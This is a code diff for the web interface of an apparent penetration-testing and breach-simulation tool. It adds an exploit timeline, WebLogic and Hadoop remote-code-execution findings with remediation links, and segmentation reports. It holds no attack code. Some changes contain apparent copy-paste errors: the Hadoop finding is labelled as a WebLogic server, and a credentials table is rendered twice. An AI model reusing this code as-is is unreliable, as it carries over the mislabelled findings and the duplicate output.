+      <tr>
+        <th>
+          Download Log
+        </th>
+        <td>
+          <a type="button" className="btn btn-primary"
+             disabled={!asset.has_log}
+             onClick={() => this.downloadLog(asset)}>Download</a>
+        </td>
+      </tr>
+    );
+  }
+
+  exploitsTimeline(asset) {
+    if (asset.exploits.length === 0) {
+      return (<div/>);
     }
-    return '';
+
+    return (
+      <div>
+        <h4 style={{'marginTop': '2em'}}>
+          Exploit Timeline&nbsp;
+          {this.generateToolTip('Timeline of exploit attempts. Red is successful. Gray is unsuccessful')}
+        </h4>
+        <ul className="timeline">
+          {asset.exploits.map(exploit =>
+            <li key={exploit.timestamp}>
+              <div className={'bullet ' + (exploit.result ? 'bad' : '')}/>
+              <div>{new Date(exploit.timestamp).toLocaleString()}</div>
+              <div>{exploit.origin}</div>
+              <div>{exploit.exploiter}</div>
+            </li>
+          )}
+        </ul>
+      </div>
+    )
+  }
+
+  islandAssetInfo() {
+    return (
+      <div>
+        No info to show
+      </div>
+    );
+  }
+
+  assetInfo(asset) {
+    return (
+      <div>
+        <table className="table table-condensed">
+          <tbody>
+          {this.osRow(asset)}
+          {this.ipsRow(asset)}
+          {this.servicesRow(asset)}
+          {this.accessibleRow(asset)}
+          </tbody>
+        </table>
+        {this.exploitsTimeline(asset)}
+      </div>
+    );
+  }
+
+  infectedAssetInfo(asset) {
+    return (
+      <div>
+        <table className="table table-condensed">
+          <tbody>
+          {this.osRow(asset)}
+          {this.statusRow(asset)}
+          {this.ipsRow(asset)}
+          {this.servicesRow(asset)}
+          {this.accessibleRow(asset)}
+          {this.forceKillRow(asset)}
+          {this.downloadLogRow(asset)}
+          </tbody>
+        </table>
+        {this.exploitsTimeline(asset)}
+      </div>
+    );
+  }
+
+  scanInfo(edge) {
+    return (
+      <div>
+        <table className="table table-condensed">
+          <tbody>
+          <tr>
+            <th>Operating System</th>
+            <td>{edge.os.type}</td>
+          </tr>
+          <tr>
+            <th>IP Address</th>
+            <td>{edge.ip_address}</td>
+          </tr>
+          <tr>
+            <th>Services</th>
+            <td>{edge.services.map(val => <div key={val}>{val}</div>)}</td>
+          </tr>
+          </tbody>
+        </table>
+        {
+          (edge.exploits.length === 0) ?
+            '' :
+            <div>
+              <h4 style={{'marginTop': '2em'}}>Timeline</h4>
+              <ul className="timeline">
+                {edge.exploits.map(exploit =>
+                  <li key={exploit.timestamp}>
+                    <div className={'bullet ' + (exploit.result ? 'bad' : '')}/>
+                    <div>{new Date(exploit.timestamp).toLocaleString()}</div>
+                    <div>{exploit.origin}</div>
+                    <div>{exploit.exploiter}</div>
+                  </li>
+                )}
+              </ul>
+            </div>
+        }
+      </div>
+    );
+  }
+
+  islandEdgeInfo() {
+    return (
+      <div>
+      </div>
+    );
   }
 
   render() {
-    let info = this.getInfoByProps();
-    let label = this.getLabelByProps();
+    let info = null;
+    switch (this.props.type) {
+      case 'edge':
+        info = this.scanInfo(this.props.item);
+        break;
+      case 'node':
+        info = this.props.item.group.includes('monkey', 'manual') ? this.infectedAssetInfo(this.props.item) :
+          this.props.item.group !== 'island' ? this.assetInfo(this.props.item) : this.islandAssetInfo();
+        break;
+      case 'island_edge':
+        info = this.islandEdgeInfo();
+        break;
+    }
+
+    let label = '';
+    if (!this.props.item) {
+      label = '';
+    } else if (this.props.item.hasOwnProperty('label')) {
+      label = this.props.item['label'];
+    } else if (this.props.item.hasOwnProperty('_label')) {
+      label = this.props.item['_label'];
+    }
 
     return (
       <div className="preview-pane">

monkey_island/cc/ui/src/components/pages/MapPage.js

@@ -1,10 +1,9 @@
 import React from 'react';
-import {Col} from 'react-bootstrap';
+import {Col, Modal} from 'react-bootstrap';
 import {Link} from 'react-router-dom';
 import {Icon} from 'react-fa';
 import InfMapPreviewPaneComponent from 'components/map/preview-pane/InfMapPreviewPane';
 import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph';
-import {ModalContainer, ModalDialog} from 'react-modal-dialog';
 import {options, edgeGroupToColor} from 'components/map/MapOptions';
 import AuthComponent from '../AuthComponent';
 
@@ -98,14 +97,10 @@ class MapPageComponent extends AuthComponent {
   };
 
   renderKillDialogModal = () => {
-    if (!this.state.showKillDialog) {
-      return <div />
-    }
-
     return (
-      <ModalContainer onClose={() => this.setState({showKillDialog: false})}>
-        <ModalDialog onClose={() => this.setState({showKillDialog: false})}>
-          <h2>Are you sure you want to kill all monkeys?</h2>
+      <Modal show={this.state.showKillDialog} onHide={() => this.setState({showKillDialog: false})}>
+        <Modal.Body>
+          <h2><div className="text-center">Are you sure you want to kill all monkeys?</div></h2>
           <p style={{'fontSize': '1.2em', 'marginBottom': '2em'}}>
             This might take a few moments...
           </p>
@@ -122,9 +117,10 @@ class MapPageComponent extends AuthComponent {
               Cancel
             </button>
           </div>
-        </ModalDialog>
-      </ModalContainer>
+        </Modal.Body>
+      </Modal>
     )
+
   };
 
   renderTelemetryEntry(telemetry) {

monkey_island/cc/ui/src/components/pages/ReportPage.js

@@ -29,8 +29,9 @@ class ReportPageComponent extends AuthComponent {
       AZURE: 6,
       STOLEN_SSH_KEYS: 7,
       STRUTS2: 8,
-      MSSQL_TO_BE: 9,
-      PTH_CRIT_SERVICES_ACCESS: 10
+      WEBLOGIC: 9,
+      HADOOP: 10,
+      PTH_CRIT_SERVICES_ACCESS: 11
     };
 
   Warning =
@@ -57,7 +58,6 @@ class ReportPageComponent extends AuthComponent {
   componentDidMount() {
     this.updateMonkeysRunning().then(res => this.getReportFromServer(res));
     this.updateMapFromServer();
-    /*this.interval = setInterval(this.updateMapFromServer, 1000);*/
   }
 
   componentWillUnmount() {
@@ -115,17 +115,6 @@ class ReportPageComponent extends AuthComponent {
       });
   };
 
-  getPTHReportFromServer(res) {
-    this.authFetch('/api/pthreport')
-      .then(res => res.json())
-      .then(res => {
-        this.setState({
-          pthreport: res.report_info,
-          pthmap: res.pthmap
-        });
-      });
-  }
-
   getReportFromServer(res) {
     if (res['completed_steps']['run_monkey']) {
       this.authFetch('/api/report')
@@ -350,6 +339,12 @@ class ReportPageComponent extends AuthComponent {
                     <li>Struts2 servers are vulnerable to remote code execution. (<a
                       href="https://cwiki.apache.org/confluence/display/WW/S2-045">
                       CVE-2017-5638</a>)</li> : null }
+                  {this.state.report.overview.issues[this.Issue.WEBLOGIC] ?
+                    <li>Oracle WebLogic servers are vulnerable to remote code execution. (<a
+                      href="https://nvd.nist.gov/vuln/detail/CVE-2017-10271">
+                      CVE-2017-10271</a>)</li> : null }
+                  {this.state.report.overview.issues[this.Issue.HADOOP] ?
+                    <li>Hadoop/Yarn servers are vulnerable to remote code execution.</li> : null }
                   {this.state.report.overview.issues[this.Issue.PTH_CRIT_SERVICES_ACCESS] ?
                     <li>Credentials of strong users was found on machines and can give access to critical servers
                     (DC, MSSQL, etc..)</li>: null }
@@ -390,6 +385,21 @@ class ReportPageComponent extends AuthComponent {
               </div>
           }
         </div>
+        { this.state.report.overview.cross_segment_issues.length > 0 ?
+          <div>
+            <h3>
+              Segmentation Issues
+            </h3>
+            <div>
+              The Monkey uncovered the following set of segmentation issues:
+              <ul>
+                {this.state.report.overview.cross_segment_issues.map(x => this.generateCrossSegmentIssue(x))}
+              </ul>
+            </div>
+          </div>
+          :
+          ''
+        }
       </div>
     );
   }
@@ -412,7 +422,6 @@ class ReportPageComponent extends AuthComponent {
       (100 * this.state.report.glance.exploited.length) / this.state.report.glance.scanned.length;
     return (
       <div id="glance">
-
         <h3>
           The Network from the Monkey's Eyes
         </h3>
@@ -456,6 +465,9 @@ class ReportPageComponent extends AuthComponent {
         <div style={{marginBottom: '20px'}}>
           <StolenPasswords data={this.state.report.glance.stolen_creds.concat(this.state.report.glance.ssh_keys)}/>
         </div>
+        <div>
+          <StolenPasswords data={this.state.report.glance.stolen_creds.concat(this.state.report.glance.ssh_keys)}/>
+        </div>
         <div>
           <StrongUsers data = {this.state.pthreport.strong_users_on_crit_services} />
         </div>
@@ -492,6 +504,27 @@ class ReportPageComponent extends AuthComponent {
     return data_array.map(badge_data => <span className="label label-info" style={{margin: '2px'}}>{badge_data}</span>);
   }
 
+  generateCrossSegmentIssue(crossSegmentIssue) {
+    return <li>
+      {'Communication possible from ' + crossSegmentIssue['source_subnet'] + ' to ' + crossSegmentIssue['target_subnet']}
+        <CollapsibleWellComponent>
+          <ul>
+            {crossSegmentIssue['issues'].map(x =>
+              x['is_self'] ?
+                <li>
+                  {'Machine ' + x['hostname'] + ' has both ips: ' + x['source'] + ' and ' + x['target']}
+                </li>
+                :
+                <li>
+                  {'IP ' + x['source'] + ' (' + x['hostname'] + ') connected to IP ' + x['target']
+                  + ' using the services: ' + Object.keys(x['services']).join(', ')}
+                </li>
+            )}
+          </ul>
+        </CollapsibleWellComponent>
+      </li>;
+  }
+
   generateShellshockPathListBadges(paths) {
     return paths.map(path => <span className="label label-warning" style={{margin: '2px'}}>{path}</span>);
   }
@@ -697,7 +730,7 @@ class ReportPageComponent extends AuthComponent {
     );
   }
 
-  generateCrossSegmentIssue(issue) {
+  generateIslandCrossSegmentIssue(issue) {
     return (
       <li>
         Segment your network and make sure there is no communication between machines from different segments.
@@ -781,6 +814,40 @@ class ReportPageComponent extends AuthComponent {
     );
   }
 
+  generateWebLogicIssue(issue) {
+    return (
+      <li>
+        Install Oracle <a href="http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html">
+        critical patch updates.</a> Or change server version. Vulnerable versions are
+        10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.
+        <CollapsibleWellComponent>
+          Oracle WebLogic server at <span className="label label-primary">{issue.machine}</span> (<span
+          className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to <span
+          className="label label-danger">remote code execution</span> attack.
+          <br/>
+          The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware
+          (subcomponent: WLS Security).
+        </CollapsibleWellComponent>
+      </li>
+    );
+  }
+
+  generateHadoopIssue(issue) {
+    return (
+      <li>
+        Run Hadoop in secure mode (<a href="http://hadoop.apache.org/docs/current/hadoop-project-dist/hadoop-common/SecureMode.html">
+        add Kerberos authentication</a>).
+        <CollapsibleWellComponent>
+          Oracle WebLogic server at <span className="label label-primary">{issue.machine}</span> (<span
+          className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to <span
+          className="label label-danger">remote code execution</span> attack.
+          <br/>
+          The attack was made possible due to default Hadoop/Yarn configuration being insecure.
+        </CollapsibleWellComponent>
+      </li>
+    );
+  }
+
 
 
   generateIssue = (issue) => {
@@ -819,7 +886,7 @@ class ReportPageComponent extends AuthComponent {
       case 'conficker':
         data = this.generateConfickerIssue(issue);
         break;
-      case 'cross_segment':
+      case 'island_cross_segment':
         data = this.generateCrossSegmentIssue(issue);
         break;
       case 'shared_passwords':
@@ -840,6 +907,12 @@ class ReportPageComponent extends AuthComponent {
       case 'struts2':
         data = this.generateStruts2Issue(issue);
         break;
+      case 'weblogic':
+        data = this.generateWebLogicIssue(issue);
+        break;
+      case 'hadoop':
+        data = this.generateHadoopIssue(issue);
+        break;
     }
     return data;
   };

monkey_island/cc/ui/src/components/pages/StartOverPage.js

@@ -1,7 +1,6 @@
 import React from 'react';
-import {Col} from 'react-bootstrap';
+import {Col, Modal} from 'react-bootstrap';
 import {Link} from 'react-router-dom';
-import {ModalContainer, ModalDialog} from 'react-modal-dialog';
 import AuthComponent from '../AuthComponent';
 
 class StartOverPageComponent extends AuthComponent {
@@ -27,14 +26,10 @@ class StartOverPageComponent extends AuthComponent {
   };
 
   renderCleanDialogModal = () => {
-    if (!this.state.showCleanDialog) {
-      return <div />
-    }
-
     return (
-      <ModalContainer onClose={() => this.setState({showCleanDialog: false})}>
-        <ModalDialog onClose={() => this.setState({showCleanDialog: false})}>
-          <h2>Reset environment</h2>
+      <Modal show={this.state.showCleanDialog} onHide={() => this.setState({showCleanDialog: false})}>
+        <Modal.Body>
+          <h2><div className="text-center">Reset environment</div></h2>
           <p style={{'fontSize': '1.2em', 'marginBottom': '2em'}}>
             Are you sure you want to reset the environment?
           </p>
@@ -60,9 +55,10 @@ class StartOverPageComponent extends AuthComponent {
               Cancel
             </button>
           </div>
-        </ModalDialog>
-      </ModalContainer>
+        </Modal.Body>
+      </Modal>
     )
+
   };
 
   render() {

monkey_island/cc/ui/src/index.html

@@ -8,9 +8,6 @@
   <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
 </head>
 <body>
-  <div id="app">Loading...</div>
-
-  <script>__REACT_DEVTOOLS_GLOBAL_HOOK__ = parent.__REACT_DEVTOOLS_GLOBAL_HOOK__</script>
-  <script type="text/javascript" src="/assets/app.js"></script>
+  <div id="app"></div>
 </body>
 </html>

monkey_island/cc/ui/src/server_config/ServerConfig.js

@@ -1,7 +1,7 @@
 import StandardConfig from './StandardConfig';
 import AwsConfig from './AwsConfig';
 
-const SERVER_CONFIG_JSON = require('json-loader!../../../server_config.json');
+const SERVER_CONFIG_JSON = require('../../../server_config.json');
 
 const CONFIG_DICT =
   {

monkey_island/cc/ui/src/styles/App.css

@@ -406,6 +406,10 @@ body {
   padding: 0em;
 }
 
+.modal-dialog {
+  top: 30%;
+}
+
 /* Print report styling */
 
 @media print {

monkey_island/cc/ui/webpack.config.js

@@ -1,32 +1,73 @@
-'use strict';
-
 const path = require('path');
-const args = require('minimist')(process.argv.slice(2));
+const HtmlWebPackPlugin = require("html-webpack-plugin");
 
-// List of allowed environments
-const allowedEnvs = ['dev', 'dist', 'test'];
-
-// Set the correct environment
-let env;
-if (args._.length > 0 && args._.indexOf('start') !== -1) {
-  env = 'test';
-} else if (args.env) {
-  env = args.env;
-} else {
-  env = 'dev';
-}
-process.env.REACT_WEBPACK_ENV = env;
-
-/**
- * Build the webpack configuration
- * @param  {String} wantedEnv The wanted environment
- * @return {Object} Webpack config
- */
-function buildConfig(wantedEnv) {
-  let isValid = wantedEnv && wantedEnv.length > 0 && allowedEnvs.indexOf(wantedEnv) !== -1;
-  let validEnv = isValid ? wantedEnv : 'dev';
-  let config = require(path.join(__dirname, 'cfg/' + validEnv));
-  return config;
-}
-
-module.exports = buildConfig(env);
+module.exports = {
+  module: {
+    rules: [
+      {
+        test: /\.js$/,
+        exclude: /node_modules/,
+        use: {
+          loader: "babel-loader"
+        }
+      },
+      {
+        test: /\.css$/,
+        use: [
+          'style-loader',
+          'css-loader'
+        ]
+      },
+      {
+        test: /\.(ttf|eot|svg)(\?v=[0-9]\.[0-9]\.[0-9])?$/,
+        use: {
+          loader: 'file-loader'
+        }
+      },
+      {
+        test: /\.woff(2)?(\?v=[0-9]\.[0-9]\.[0-9])?$/,
+        use: {
+          loader: 'url-loader?limit=10000&mimetype=application/font-woff'
+        }
+      },
+      {
+        test: /\.(png|jpg|gif)$/,
+        use: {
+          loader: 'url-loader?limit=8192'
+        }
+      },
+      {
+        test: /\.html$/,
+        use: [
+          {
+            loader: "html-loader"
+          }
+        ]
+      }
+    ]
+  },
+  plugins: [
+    new HtmlWebPackPlugin({
+      template: "./src/index.html",
+      filename: "./index.html"
+    })
+  ],
+  resolve: {
+    extensions: ['.js', '.jsx', '.css'],
+    modules: [
+      'node_modules',
+      path.resolve(__dirname, 'src/')
+    ]
+  },
+  output: {
+    publicPath: '/'
+  },
+  devServer: {
+    proxy: {
+      '/api': {
+        target: 'https://localhost:5000',
+        secure: false
+      }
+    }
+  }
+};